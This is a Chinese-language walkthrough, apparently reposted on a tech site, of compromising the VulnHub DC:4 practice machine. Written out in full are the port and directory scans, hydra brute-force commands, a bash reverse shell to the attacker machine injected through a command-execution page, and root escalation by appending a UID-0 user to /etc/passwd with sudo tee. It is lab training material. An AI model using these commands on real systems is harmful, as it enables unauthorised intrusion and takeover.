IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> vulnhub DC: 4 -> 正文阅读

[PHP知识库]vulnhub DC: 4

渗透思路:

nmap扫描端口 ---- gobuster扫描网站目录 ---- hydra爆破网站登录密码 ---- 利用RCE漏洞getshell ---- 获取jim的ssh密码 ---- 邮件中获取charles的ssh密码 ---- sudo tee提权

环境信息:

靶机:192.168.101.109

攻击机:192.168.101.34

具体步骤:

1、nmap扫描端口

sudo nmap -sV -sC -p- 192.168.101.109

只发现22和80端口

2、gobuster扫描网站目录

浏览器访问80端口发现是一个登录页面,目前有两个思路,一个是利用sql注入绕过用户名密码验证登录,另一个是进行用户名密码爆破。

首先尝试了sql注入,没有发现线索;想要尝试用户名密码爆破,但是kali中的burp是社区版,爆破非常慢,而使用hydra的话,由于这个登录页面登录失败时没有任何提示,所以无法用失败提示进行爆破。

尝试扫描网站目录找到更多线索

gobuster dir -u http://192.168.101.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php

扫出来几个页面,但都需要先登录

3、hydra爆破登录密码

根据网站目录扫描结果,可以推测登录成功后会跳转到/command.php页面,也许页面有command这个单词,因此可以尝试用hydra的登录成功提示进行扫描。

另外根据登录页面“Admin Information Systems Login”,猜测用户名是admin。

下面尝试用hydra对admin的密码进行爆破

hydra -l admin -P top1000.txt 192.168.101.109 http-post-form "/login.php:username=^USER^&password=^PASS^:S=command"

密码字典从这里下载

https://github.com/k8gege/PasswordDic

得到admin的密码happy

登录成功后来到下图所示页面,虽然和预想的跳转到/command.php页面不同,但是确实页面有单词command

4、利用RCE漏洞getshell

点击Command,跳转到http://192.168.101.109/command.php

点Run按钮会显示系统命令执行后的结果

用burp抓包,将下图所示报文发送到repeater模块

bash -c 'exec bash -i &>/dev/tcp/192.168.101.34/8888 <&1'在burp的decoder模块进行URL编码

在攻击机上监听8888端口

nc -nlvp 8888

用编码后的结果替代radio的值并发送

攻击机监听端口获得靶机www-data用户的shell

5、获取jim的ssh密码

家目录下发现3个用户

在/home/jim下发现一个不寻常的文件test.sh,不但有suid,而且还任意用户可写

试了半天没提权到jim,网上查了一下,发现shell脚本设置suid位是不生效的。

参见:linux提权——suid提权 - tomyyyyy - 博客园

逛了一圈之后发现在/home/jim/backups目录下有个叫old-passwords.bak的文件,里面有很多貌似密码的字符串

接下来想办法把这个文件取出来。

在靶机上/home/jim/backups目录下用python3起http服务:

python3 -m http.server 9090

攻击机上用wget下载old-passwords.bak:

wget http://192.168.101.109:9090/old-passwords.bak

然后用hydra爆破jim的ssh登录密码:

hydra -l jim -P old-passwords.bak ssh://192.168.101.109

得到密码jibril04

以用户名jim,密码jibril04进行ssh登录,成功登录靶机

ssh jim@192.168.101.109

6、获取charles的ssh密码

在jim的家目录下还看到一个mbox文件,打开发现是一封测试邮件

也许其他邮件中会泄露什么信息

全局搜索mail文件或文件夹

find / -name mail 2>/dev/null

其中在/var/mail和/var/spool/mail有一封相同的邮件,文件名叫jim,内容如下图所示

从图中可见,Charles的密码是^xHhA&hvim0y

7、sudo tee提权

切换到charles,然后执行sudo -l发现charles可以以root身份执行/usr/bin/teehee

由于/usr/bin/teehee是个自创命令,因此可以先执行/usr/bin/teehee --help来看看这个命令怎么使用

从命令帮助来看,这个应该就是tee命令的副本,功能和tee命令是一样的

试试用tee命令的提权方法来提权:

在靶机的/etc/passwd文件中新增一个用户fancy,密码为123456,其他都和root用户一致:

(1)在攻击机上用openssl生成写入passwd的用户的密码md5散列

openssl passwd -1 -salt dc4 123456

得到$1$dc4$et4u0w92ZYIY4bsJE/gJG0

(2)在靶机/etc/passwd文件中新增用户fancy

echo 'fancy:$1$dc4$et4u0w92ZYIY4bsJE/gJG0:0:0:root:/root:/bin/bash' | sudo /usr/bin/teehee -a /etc/passwd

(3)su - fancy密码为刚刚设置的123456

成功提权到root,并在/root目录下找到flag.txt

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-10-31 11:33:57  更:2022-10-31 11:34:05 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/26 12:09:26-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码